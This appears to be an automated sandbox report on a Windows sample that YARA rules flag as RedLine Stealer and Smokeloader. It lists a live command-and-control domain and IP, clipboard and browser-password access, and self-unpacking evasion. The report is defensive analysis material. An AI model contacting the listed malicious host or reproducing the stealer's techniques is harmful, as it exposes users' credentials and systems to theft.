Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2046811412.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2347980162.0000000001D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/
Source: qrLdMv1QXG.exe, 00000000.00000003.2046811412.0000000001D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/9
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/C1
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/E
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2046811412.0000000001D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/api
Source: qrLdMv1QXG.exe, 00000000.00000003.2112482379.0000000001D8F000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2112561651.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000002.2348074236.0000000001D99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://strollheavengwu.shop/apies:
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: qrLdMv1QXG.exe, 00000000.00000003.2047291236.0000000004237000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: qrLdMv1QXG.exe, 00000000.00000003.2065236653.0000000004328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.5:49712 version: TLS 1.2

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_0042D8F0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_0042D8F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00421370	0_2_00421370
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004046D0	0_2_004046D0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00420C42	0_2_00420C42
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00406030	0_2_00406030
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00421090	0_2_00421090
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00426097	0_2_00426097
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00410140	0_2_00410140
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00426148	0_2_00426148
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004261C3	0_2_004261C3
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004261D5	0_2_004261D5
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004052F0	0_2_004052F0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004032B0	0_2_004032B0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004365C0	0_2_004365C0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_004065F0	0_2_004065F0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0043B6A0	0_2_0043B6A0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00433950	0_2_00433950
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0043B9D0	0_2_0043B9D0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0041DB22	0_2_0041DB22
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00407C70	0_2_00407C70
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_00402EC0	0_2_00402EC0
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_036703A7	0_2_036703A7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_036863AF	0_2_036863AF
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03661267	0_2_03661267
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_036862FE	0_2_036862FE
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03666297	0_2_03666297
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03663127	0_2_03663127
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03665557	0_2_03665557
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03663517	0_2_03663517
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_036815D7	0_2_036815D7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0368642A	0_2_0368642A
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0368643C	0_2_0368643C
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03693BB7	0_2_03693BB7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0369B907	0_2_0369B907
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03666857	0_2_03666857
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03696827	0_2_03696827
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_03667ED7	0_2_03667ED7
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: 0_2_0369BC37	0_2_0369BC37

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: String function: 03670547 appears 188 times
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: String function: 03668957 appears 34 times
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: String function: 004102E0 appears 188 times
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Code function: String function: 004086F0 appears 34 times

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1520

Source: qrLdMv1QXG.exe, 00000000.00000002.2347713842.0000000001A13000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs qrLdMv1QXG.exe
Source: qrLdMv1QXG.exe	Binary or memory string: OriginalFilenameFires0 vs qrLdMv1QXG.exe

Source: qrLdMv1QXG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2347953549.0000000001CDE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2348164937.0000000003660000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/9@1/1

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_01CDF6F6 CreateToolhelp32Snapshot,Module32First,

0_2_01CDF6F6

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Code function: 0_2_004286B8 CoCreateInstance,

0_2_004286B8

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2504

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\c972a281-1af2-45e3-b17b-ec751ea2ab7f

Jump to behavior

Source: qrLdMv1QXG.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: qrLdMv1QXG.exe, 00000000.00000003.2047458630.0000000004208000.00000004.00000800.00020000.00000000.sdmp, qrLdMv1QXG.exe, 00000000.00000003.2055579771.0000000004208000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: qrLdMv1QXG.exe	ReversingLabs: Detection: 39%
Source: qrLdMv1QXG.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

File read: C:\Users\user\Desktop\qrLdMv1QXG.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\qrLdMv1QXG.exe "C:\Users\user\Desktop\qrLdMv1QXG.exe"
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1520
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 1656

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: qrLdMv1QXG.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\gepiw62\xapukepid\moyivovozihub23\dijixo\88\narecer.pdb source: qrLdMv1QXG.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Unpacked PE file: 0.2.qrLdMv1QXG.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe

Unpacked PE file: 0.2.qrLdMv1QXG.exe.400000.0.unpack

Source: C:\Users\user\Desktop\qrLdMv1QXG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
